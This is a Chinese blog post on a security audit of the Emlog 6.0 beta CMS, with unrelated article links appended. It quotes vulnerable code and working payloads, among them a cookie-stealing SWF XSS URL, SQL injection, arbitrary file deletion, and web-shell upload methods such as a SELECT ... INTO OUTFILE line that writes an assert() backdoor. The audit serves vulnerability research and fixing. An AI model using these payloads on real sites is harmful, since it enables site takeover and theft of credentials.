对Emlog 6.0 Beta的完整代码审计过程
Emlog 6.0 beta版本,这可能是最后一篇关于PHP语言CMS的代码审计文章,此次将详细记录完整的审计过程。
文章基本上完整记录小东的对此CMS
审计过程,或许显得繁琐,但代码审计的过程就是这样,发现可能项,然后精心构造去验证,这过程中我们会遇到很多次碰壁,坚持测试,思维活跃一些,基本都会有所收获,诚挚希望后来者能够耐心阅读下去,当然最好也能够有所启发。
大家需要注意的一点是,代码审计是为了学习并在SDL中避免发生类似的错误,同时也是帮助开源系统修复相关问题,并不是去为了获得什么0day~
0×00 Emlog 6.0 beta
Emlog 6.0 beta
下载地址:https://www.emlog.net/download
由于官方限制论坛会员(注册付费)才可下载,这里提供一个原版下载地址:https://www.lanzous.com/i1l5gad
文件校验:
文件: C:\Users\stdy\Desktop\emlog_6.0.0.zip
大小: 607725 字节
修改时间: 2018年8月6日, 20:53:50
MD5: 7844FE6FEAE7AF68052DC878B8811FAC
SHA1: E06A050D2A0AA879DB9F5CFCAA4703B6AC7B8352
CRC32: 4963E489
博主的博客就是基于此套博客系统,其实很多圈内大佬都在使用,对于本款CMS
的审计文章却并没有,小东就来以此CMS
作为PHP代码审计
的封笔之作。
0×01 初步测试
首先,我们得先安装!安装成功后的首页界面:
默认后台登陆地址:./admin/
登陆成功后:
闲话一句,感觉6.0
比5.3.1
版本好看太多了~
安装过后,我们应该尽可能全面搜集关于此CMS
的信息,这对于我们审计代码有很大的帮助。
所以,分析得到此CMS
的大致结构,Emlog
是一个 MVC
的设计模式,大致的结构如图:
因此我们主要会分析 admin
和 include
文件夹下的文件。
数据库表:
在根目录的init.php
文件中
报错等级指定为7
:
<?php
//禁用错误报告
error_reporting(0);
//报告运行时错误
error_reporting(E_ERROR | E_WARNING | E_PARSE);
//报告所有错误
error_reporting(E_ALL);
error_reporting(7);
/*
设置php错误检测级别
E_ERROR - 致命性运行时错 (1)
E_WARNING - 运行时警告(非致命性错)(2)
E_PARSE - 编译时解析错误 (4)
1+2+4 = 7
*/
?>
0×02 使用漏洞扫描器
可能有朋友就会说你为什么要使用“漏扫”呐?不是代码审计吗?
这里要纠正一下这个观点,漏扫其实就是一个自动化黑盒测试,在本地环境下,我们不会影响任何的业务。
通过漏扫出的漏洞能够方便我们快速定位漏洞位置,这样是一种高效的方式,这也是在团队里的成员通过漏扫Get
了百度的几个高危漏洞给小东的启示。
这里使用了一款重型扫描器 AWVS
,得到的报告如下:
不过在本地扫描时,使用的是 XAMPP
windows10
PHP5.6
的环境,所以导致漏洞报告中很多误报,漏扫主要扫描出了几个XSS漏洞
和CSRF漏洞
所以我们首先验证这两类的漏洞
0×03 文章编辑器储存性XSS
在后台的编辑器处,编辑文章./admin/admin_log.php
成功发布后,来到首页
进入文章页后
都弹窗了,这里大家可能要说没法儿利用,但是emlog
设计了 会员/作者
功能,在emlog
中的某些模版中可以前台注册会员,会员登录后可以编辑发表文章,评论等等功能。Emlog
官方还提供了文章投稿插件,都是调用了官方默认的Kindeditor
编辑器,这个编辑器自带HTML编辑模式
,就算不带这个模式,攻击者也可以抓包修改达到攻击目的。
为什么前台没过滤呐?为了文章有支持HTML
代码输出,所以对于kindeditor
的保存输出内容并没有转义。
修复建议:参考其他CMS
做好文章内容关键词的检测,并做好过滤或者转义
0×04 Uploadify SWF XSS
Emlog
使用了 uploadify.swf
的方式上传文件,文件路径 /include/lib/js/uploadify/uploadify.swf
构造Payload:http://www.test.com//include/lib/js/uploadify/uploadify.swf?uploadifyID=00%22%29%29;}catch%28e%29{alert%281%29;}//%28%22&movieName=%22])}catch(e){if(!window.x){window.x=1;alert(document.cookie)}}//&.swf
效果,可无视浏览器filter
:
0×05 反射型XSS
此处的XSS
主要发生在cookie
上,因为某些页面如 admin/admin_log
,admin/sort.php
,admin/link.php
页面需要在表单中添加了hidden
属性的token
值,而这个token
值直接从用户的cookie
中取得,导致了一个反射型XSS
拦截抓包修改cookie
中的token
值如下:
效果:
其次验证了 CSRF
漏洞,这个是前台的搜索框的CSRF
根本没什么价值
然后是管理员添加友情链接的XSS
,经过验证并不存在,后台函数会限制字数
然后就是我们开始进行原始的代码审计工作了,主要借用了
Seay代码审计工具
和Rips
,这种审计工具主要依靠正则匹配可能导致危险的php函数
来作为可能存在漏洞的判断,半自动化的方式,在一定程度上缓解了代码审计的压力。
0×06 基本函数
首先看了一下文件操作相关的函数,发现经常用到 View::getView
这一方法,
在include/lib/view.php
文件中,源码如下:
<?php
/**
* 视图控制
* @copyright (c) Emlog All Rights Reserved
*/
class View {
public static function getView($template, $ext = '.php') {
if (!is_dir(TEMPLATE_PATH)) {
emMsg('当前使用的模板已被删除或损坏,请登录后台更换其他模板。', BLOG_URL . 'admin/template.php');
}
return TEMPLATE_PATH . $template . $ext;
}
public static function output() {
$content = ob_get_clean();
ob_start();
echo $content;
ob_end_flush();
exit;
}
}
同时作为权限控制的 LoginAuth::checkToken()
,在 \include\lib\loginauth.php
下约209行开始
/**
* 生成token,防御CSRF攻击
*/
public static function genToken() {
$token_cookie_name = 'EM_TOKENCOOKIE_' . md5(substr(AUTH_KEY, 16, 32) . UID);
if (isset($_COOKIE[$token_cookie_name])) {
return $_COOKIE[$token_cookie_name];
} else {
$token = md5(getRandStr(16));
setcookie($token_cookie_name, $token, 0, '/');
return $token;
}
}
/**
* 检查token,防御CSRF攻击
*/
public static function checkToken(){
$token = isset($_REQUEST['token']) ? addslashes($_REQUEST['token']) : '';
if ($token != self::genToken()) {
emMsg('权限不足,token error');
}
}
验证了Rips
扫描出的文件包含问题(第一次使用Rips
),发现无法复现,因为Rips
扫描的时候是以文件形式,并没有参照程序的严格逻辑,导致的误报!
来到 \admin\admin_log.php
文件,从第78行开始:
//操作文章
if ($action == 'operate_log') {
$operate = isset($_REQUEST['operate']) ? $_REQUEST['operate'] : '';
$pid = isset($_POST['pid']) ? $_POST['pid'] : '';
$logs = isset($_POST['blog']) ? array_map('intval', $_POST['blog']) : array();
$sort = isset($_POST['sort']) ? intval($_POST['sort']) : '';
$author = isset($_POST['author']) ? intval($_POST['author']) : '';
$gid = isset($_GET['gid']) ? intval($_GET['gid']) : '';
LoginAuth::checkToken();
if ($operate == '') {
emDirect("./admin_log.php?pid=$pid&error_b=1");
}
if (empty($logs) && empty($gid)) {
emDirect("./admin_log.php?pid=$pid&error_a=1");
}
switch ($operate) {
case 'del':
foreach ($logs as $val)
{
doAction('before_del_log', $val);
$Log_Model->deleteLog($val);
doAction('del_log', $val);
}
$CACHE->updateCache();
if ($pid == 'draft')
{
emDirect("./admin_log.php?pid=draft&active_del=1");
} else{
emDirect("./admin_log.php?active_del=1");
}
break;
case 'top':
foreach ($logs as $val)
{
$Log_Model->updateLog(array('top'=>'y'), $val);
}
emDirect("./admin_log.php?active_up=1");
break;
case 'sortop':
foreach ($logs as $val)
{
$Log_Model->updateLog(array('sortop'=>'y'), $val);
}
emDirect("./admin_log.php?active_up=1");
break;
case 'notop':
foreach ($logs as $val)
{
$Log_Model->updateLog(array('top'=>'n', 'sortop'=>'n'), $val);
}
emDirect("./admin_log.php?active_down=1");
break;
case 'hide':
foreach ($logs as $val)
{
$Log_Model->hideSwitch($val, 'y');
}
$CACHE->updateCache();
emDirect("./admin_log.php?active_hide=1");
break;
...//中间的代码要验证管理身份,故省略
case 'uncheck':
if (ROLE != ROLE_ADMIN)
{
emMsg('权限不足!','./');
}
$Log_Model->checkSwitch($gid, 'n');
$CACHE->updateCache();
emDirect("./admin_log.php?active_unck=1");
break;
}
}
那么我们尝试越权删除文章 http://www.test.com/admin/admin_log.php?action=operate_log&operate=del&blog=29&token=994132a26661c8c244a91063c4701a7e
失败了提示权限不足,来到\include\model\log_model.php
发现
/**
* 删除文章
*
* @param int $blogId
*/
function deleteLog($blogId) {
$author = ROLE == ROLE_ADMIN ? '' : 'and author=' . UID;
$this->db->query("DELETE FROM " . DB_PREFIX . "blog where gid=$blogId $author"); //这里和上一句限制了作者只能删除自己的文章
if ($this->db->affected_rows() < 1) {
emMsg('权限不足!', './');
}
// 评论
$this->db->query("DELETE FROM " . DB_PREFIX . "comment where gid=$blogId");
// 标签
$this->db->query("UPDATE " . DB_PREFIX . "tag SET gid= REPLACE(gid,',$blogId,',',') WHERE gid LIKE '%" . $blogId . "%' ");
$this->db->query("DELETE FROM " . DB_PREFIX . "tag WHERE gid=',' ");
// 附件
$query = $this->db->query("select filepath from " . DB_PREFIX . "attachment where blogid=$blogId ");
while ($attach = $this->db->fetch_array($query)) {
if (file_exists($attach['filepath'])) {
$fpath = str_replace('thum-', '', $attach['filepath']);
if ($fpath != $attach['filepath']) {
@unlink($fpath);
}
@unlink($attach['filepath']);
}
}
$this->db->query("DELETE FROM " . DB_PREFIX . "attachment where blogid=$blogId");
}
这个越权漏洞不存在,同时看了下面的函数判断也是做了类似的处理
到这里其实我们对于整个 CMS
的架构已经较为熟悉了,基本能根据对应函数功能,直接手动找到对应的函数位置。
令人伤心的是,通过 Rips
代码审计工具得到的结果,一个都没复现成功…
###0×07 Seay辅助审计
相信很多人都知道法师的这款工具,主要还是因为中文,用着方便,但是完全依靠正则的方式去匹配函数,只能发现那些函数直接的控制漏洞,逻辑漏洞有时候可以根据逆推可以发现,但这种情况很少。
使用这款工具扫描出来共120
个可能的情况(根据经验98%
以上都是没法复现的),然后一个个排查,有的例如SQL
语句反单引号这样的,很容易就可以判断给忽律,就不需要考虑。
在 /admin/store.php
看到这样一串代码:
这里我的思考是,如果在emlog
官网有URL
跳转链接的话,那么就可以构造下载远程任意的文件到网站,但是测试了官网没有跳转链接,那么我们尝试下载别的插件(链接跳转等),或者有黑客精心构造了一个插件或者模版,然后再利用,这也算是一个可行的方案。
此处需要管理员权限,作为代码审计的一个参考思路,不是要发现什么0day
,而是希望大家能够在代码审计方面有所收获。
(1). SQL注入
对于SQL注入
,Seay工具
一直都没准过,这里小东推荐方式,使用全局搜索 $_GET[
或 $_PSOT[
,然后看看是否代入了SQL
查询,然后一一验证。
然后我发现了这样一个没有过滤IP参数
然后到 admin/comment.php
中查看
再看 delCommentByIp($ip)
函数
由此我们可以确定了SQL
注入的存在
验证如下:
(2).一个CSRF+任意文件删除
$_GET[]
型分析完以后,就寻找$_POST[]
的,然后在admin/data.php
文件中找到了如下代码
这里我们发现,并没有验证toknen
,那么可以构造csrf
页面,这里小东就不演示了,直接BURP
验证一下任意文件删除吧,关于CSRF
,只要没有调用上面基础函数部分说到的 LoginAuth::checkToken()
方法的,都存在CSRF
这里就成功删除了文件
(3).TAG SQL注入
在POST参数中发现此处并没有过滤,同时在 deleteTag()
函数中,代入了SQL
查询,因此又是一个SQL注入
但是此处并没有回显。可以采用时间盲注的方式
至此,利用工具的半自动化审计已经结束,下面准备手工测试
0×08 手工测试
手工测试也不是单纯的翻文件,应当以灰盒测试为主导,从逻辑
、权限
、敏感信息
等方面入手
(1).后台登陆存在暴力破解风险
在这里,我之前提到过的验证码未及时销毁的历史问题还存在,此处不再详细叙述,请参考https://blog.csdn.net/dyboy2017/article/details/78433748
(2).报错信息导致物理路径泄漏
大家不要以为这是小事情,当sql注入
存在的时候,我们有机会是可以直接写shell
文件,安全无小事
一个低权限的方式,在游客的条件下测试一下
payload:http://www.test.com/admin/attachment.php?action[]=
原因是:addslashes() expects parameter 1
(3).Cookie可计算
在include/lib/loginauth.php
中134
行开始
/**
* 写用于登录验证cookie
*
* @param int $user_id User ID
* @param bool $remember Whether to remember the user or not
*/
public static function setAuthCookie($user_login, $ispersis = false) {
if ($ispersis) {
$expiration = time() + 3600 * 24 * 30 * 12;
} else {
$expiration = null;
}
$auth_cookie_name = AUTH_COOKIE_NAME;
$auth_cookie = self::generateAuthCookie($user_login, $expiration);
setcookie($auth_cookie_name, $auth_cookie, $expiration,'/');
}
/**
* 生成登录验证cookie
*
* @param int $user_id user login
* @param int $expiration Cookie expiration in seconds
* @return string Authentication cookie contents
*/
private static function generateAuthCookie($user_login, $expiration) {
$key = self::emHash($user_login . '|' . $expiration);
$hash = hash_hmac('md5', $user_login . '|' . $expiration, $key);
$cookie = $user_login . '|' . $expiration . '|' . $hash;
return $cookie;
}
可以看到此处的cookie都可以直接计算得到,只需要知道根目录下config.php中的
//auth key
define('AUTH_KEY','dx1&CH^En86GZnxd9CLO7GwC0Q5eYHKM450f598bbd148b6a62f7d263623e31c3');
//cookie name
define('AUTH_COOKIE_NAME','EM_AUTHCOOKIE_VzfVniPWDqd1LM3BFocnrcjpAGH4lUbz');
即可。
(4).侧边栏存储性XSS
为了同样是为了支持HTML
代码的输出,没有转义对应的脚本代码标签,导致了存储性的XSS
存在
0×09 Getshell
(1).SQL注入拿到shell
如上所讲有SQL注入的存在,同时可以获取到物理路径,那么就可以直接写Shell
(2).后台插件上传zip
因为后台可以直接上传本地zip文件,这里我们去官网下载一个插件,同时把我们的shell文件(比如dyboy.php)加入zip,上传安装这个插件就可以了,然后shell地址为:http://www.test.com/content/plugins/插件名/dyboy.php
(3).后台模版上传zip
和插件同样的原理,这里的shell地址为:http://www.test.com/content/templates/模版名/dyboy.php
(4).备份文件拿shell
后台的数据功能处,先备份一个,然后下载到本地,加入SELECT "<?php @assert($_POST['dyboy'])?>" into outfile 'D:\\Server\\htdocs\\safe\\dyboy.php';
然后导入备份恢复本地数据即可
这样就在网站个目录生成了一个dyboy.php
的shell
0×10 总结
EMLOG
是一个非常小巧轻快的博客系统,运行占用资源非常低,所以非常适合博主用作博客用途,其实只要不开启会员功能,没有弱口令就没有什么大的威胁。以此文章作为PHP代码审计的终稿
,文章所述方法同样适用于其他的CMS代码审计
和分析,创作不易,也希望本文章能对大家能有所启示。
对Emlog 6.0 Beta的完整代码审计过程的更多相关文章
- 使用cocos2d-x 3.0 beta开发的小游戏
主要是参考了http://philon.cn/post/cocos2d-x-3.0-zhi-zuo-heng-ban-ge-dou-you-xi 这篇文章,只是移植到了3.0 beta版. 代码地址: ...
- 【搜索引擎Jediael开发4】V0.01完整代码 分类: H_HISTORY 2014-05-21 21:35 470人阅读 评论(0) 收藏
截止目前,已完成如下功能: 1.指定某个地址,使用HttpClient下载该网页至本地文件 2.使用HtmlParser解释第1步下载的网页,抽取其中包含的链接信息 3.下载第2步的所有链接指向的网页 ...
- 尤雨溪在直播中讲到的Vue3.0 Beta的那些特性,快记笔记了
前言 在那天风雨交加的夜晚,Vue的创作者尤雨溪尤大大在b站直播分享了Vue.js 3.0 Beta最新进展.我对直播的内容进行了一下整理.整整用了三天的空余时间赶上了 1. 全新文档RFCs Vue ...
- log4net保存到数据库系列四、完整代码配置log4net
园子里面有很多关于log4net保存到数据库的帖子,但是要动手操作还是比较不易,从头开始学习log4net数据库日志一.WebConfig中配置log4net 一.WebConfig中配置log4ne ...
- JavaScript与html5写的贪吃蛇完整代码
JavaScript与html5写的贪吃蛇完整代码 查看运行效果可访问http://www.codesocang.com/texiao/youxitexiao/2014/0402/7045.html# ...
- 【搜索引擎Jediael开发4】V0.01完整代码
截止目前,已完成如下功能: 1.指定某个地址,使用HttpClient下载该网页至本地文件 2.使用HtmlParser解释第1步下载的网页,抽取其中包含的链接信息 3.下载第2步的所有链接指向的网页 ...
- jQuery弹出窗口完整代码
jQuery弹出窗口完整代码 效果体验:http://keleyi.com/keleyi/phtml/jqtexiao/1.htm 1 <!DOCTYPE html PUBLIC "- ...
- 在Ubuntu中部署并测试Fabric 1.0 Beta
[更新:1.0Beta已经是过去式了,现在出了1.0.0的正式版,请大家参照 http://www.cnblogs.com/studyzy/p/7437157.html 安装Fabric 1.0.0 ...
- C#DES加密,JavaDES解密,另转C#和Java实现Des完整代码
C#DES加密,JavaDES解密,另转C#和Java实现Des完整代码 转载 2014年06月17日 17:36:09 标签: DES / C#DES / JavaDES / C#和Java交叉DE ...
随机推荐
- DRF的@action装饰器
# 转自:http://www.cnblogs.com/zhzhlong/p/9325180.html 视图集中附加action的声明 from rest_framework.decorators i ...
- EF框架的优点是什么?
在.Net Framework SP1微软包含一个实体框架(Entity Framework),此框架可以理解成微软的一个ORM产品.用于支持开发人员通过对概念性应用程序模型编程(而不是直接对关系存储 ...
- 详解WordPress中简码格式标签编写的基本方法
WordPress 简码是一种类似于论坛标签的东西,格式类似于把尖括号换成中括号的 Html 标签.简码很多人叫做短代码,但官方的翻译应该是简码,在这里纠正一下. 简码的开发的逻辑比较简单,主要就是添 ...
- Python基础系列----函数,面向对象,异常
1.前言 前 ...
- 远程连接服务器上的MySQL
crt.navicat.Linux系统.MySQL 远程连接上Linux系统,确保Linux系统已经安装上了MySQL数据库.登陆数据库.mysql -uroot -p(密码). 创建用户用来远程连接 ...
- 六十五 async/await
用asyncio提供的@asyncio.coroutine可以把一个generator标记为coroutine类型,然后在coroutine内部用yield from调用另一个coroutine实现异 ...
- Python中的多进程:fork和multiprocessing
Python的多进程 套路1:os.fork() 先敲段代码: #!/usr/bin/env python3 import os os.fork() print('1111111111') 执行结果: ...
- React Native学习
学习 首先,假使你已经安装了Nodejs 6,也有使用npm进行Nodejs的包管理 npm install -g react-native-cli 也可以使用yarn作为包管理工具 npm inst ...
- centos 7 mini版中安装Python3.x
首先了解几句Linux命令是必须的.例如 ls, vi, wget, rm, mv, cd, su, sudo, chmod, tar等等一些常用的语句命令是有必要知道它的用法的. 安装Python3 ...
- 洛谷P3901 数列找不同 [莫队]
题目传送门 题目描述 现有数列 A_1,A_2,\cdots,A_NA1,A2,⋯,AN ,Q 个询问 (L_i,R_i)(Li,Ri) , A_{Li} ,A_{Li+1},\cdots, ...